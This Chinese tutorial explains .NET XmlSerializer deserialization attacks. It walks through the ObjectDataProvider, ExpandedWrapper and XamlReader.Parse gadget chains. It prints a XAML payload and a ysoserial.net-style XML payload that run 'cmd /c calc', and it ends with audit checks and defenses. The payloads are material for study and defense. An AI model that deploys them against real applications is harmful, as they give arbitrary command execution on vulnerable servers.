.net反序列化之XmlSerializer
字数 1125 2025-08-05 08:17:36
.NET反序列化之XmlSerializer 教学文档
XmlSerializer 类概述
XmlSerializer 是 .NET 框架中用于在 XML 字符串和对象之间相互转换的类,位于 System.Xml.Serialization 命名空间,程序集为 System.Xml.XmlSerializer.dll。
核心特性
- 只能序列化和反序列化对象的公共(public)属性和公共字段
- 通过特性(Attributes)控制序列化行为:
[XmlRoot]- 指定根元素名称[XmlElement]- 指定元素名称[XmlArray]- 指定数组元素名称[XmlAttribute]- 指定属性名称
基本使用案例
using System;
using System.IO;
using System.Xml.Serialization;
[XmlRoot]
public class Person
{
[XmlElement]
public int Age { get; set; }
[XmlElement]
public string Name { get; set; }
[XmlArray("Items")]
public Order[] OrderedItems;
[XmlAttribute]
public string ClassName { get; set; }
}
public class Order
{
public int OrderID;
}
class Program
{
static void Main(string[] args)
{
// 创建对象并设置属性
Person p = new Person();
p.Name = "jack";
p.Age = 12;
p.OrderedItems = new Order[] { new Order { OrderID = 123 }, new Order { OrderID = 456 } };
p.ClassName = "classname";
// 序列化
XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
xmlSerializer.Serialize(writer, p);
memoryStream.Position = 0;
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
// 反序列化
Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);
Console.WriteLine(p1.Name);
}
}
输出结果
<?xml version="1.0" encoding="utf-8"?>
<Person xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
ClassName="classname">
<Items>
<Order>
<OrderID>123</OrderID>
</Order>
<Order>
<OrderID>456</OrderID>
</Order>
</Items>
<Age>12</Age>
<Name>jack</Name>
</Person>
反序列化攻击链
ObjectDataProvider 攻击链
ObjectDataProvider 是 .NET 中一个可以调用任意类方法的类,类似于 Java 中的 InvokerTransformer。
基本利用方式
ObjectDataProvider o = new ObjectDataProvider();
o.MethodParameters.Add("cmd.exe");
o.MethodParameters.Add("/c calc");
o.MethodName = "Start";
o.ObjectInstance = new Process();
问题与解决方案
直接序列化 ObjectDataProvider 会报错,因为类型未知。解决方案是使用 ExpandedWrapper 类包装:
ExpandedWrapper<Person, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Person, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Evil";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
expandedWrapper.ProjectedProperty0.ObjectInstance = new Person();
ResourceDictionary 攻击链
更深入的攻击链利用 WPF 的 ResourceDictionary 和 XamlReader.Parse() 方法:
XAML 攻击载荷
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
代码执行方式
string xml = "..."; // 上面的XAML
XamlReader.Parse(xml);
完整攻击链
最终的攻击链组合:
ObjectDataProvider -> XamlReader.Parse() -> ObjectDataProvider -> System.Diagnostics.Process.Start("cmd.exe","/c calc")
ysoserial.net 生成的典型载荷
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary...>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
代码审计要点
-
类型参数检查:检查
new XmlSerializer(type)中的type参数是否可控- 通过
typeof() - 通过
GetType() - 通过
Type.GetType("命名空间.类名")
- 通过
-
XAML 输入检查:检查
XamlReader.Parse(xml)中的xml参数是否可控 -
反序列化源检查:检查反序列化的 XML 数据来源是否可信
防御建议
- 限制反序列化的类型,使用已知安全的类型白名单
- 对输入的 XML 数据进行严格验证
- 避免直接反序列化不可信的 XML 数据
- 使用安全的 XML 解析器配置,禁用外部实体引用等危险特性
总结
XmlSerializer 反序列化漏洞的核心在于:
- 攻击者可以控制反序列化的类型
- 通过
ObjectDataProvider调用任意方法 - 结合
XamlReader.Parse()实现更灵活的攻击 - 最终通过
Process.Start()执行任意命令
理解这些关键点对于防御和利用此类漏洞都至关重要。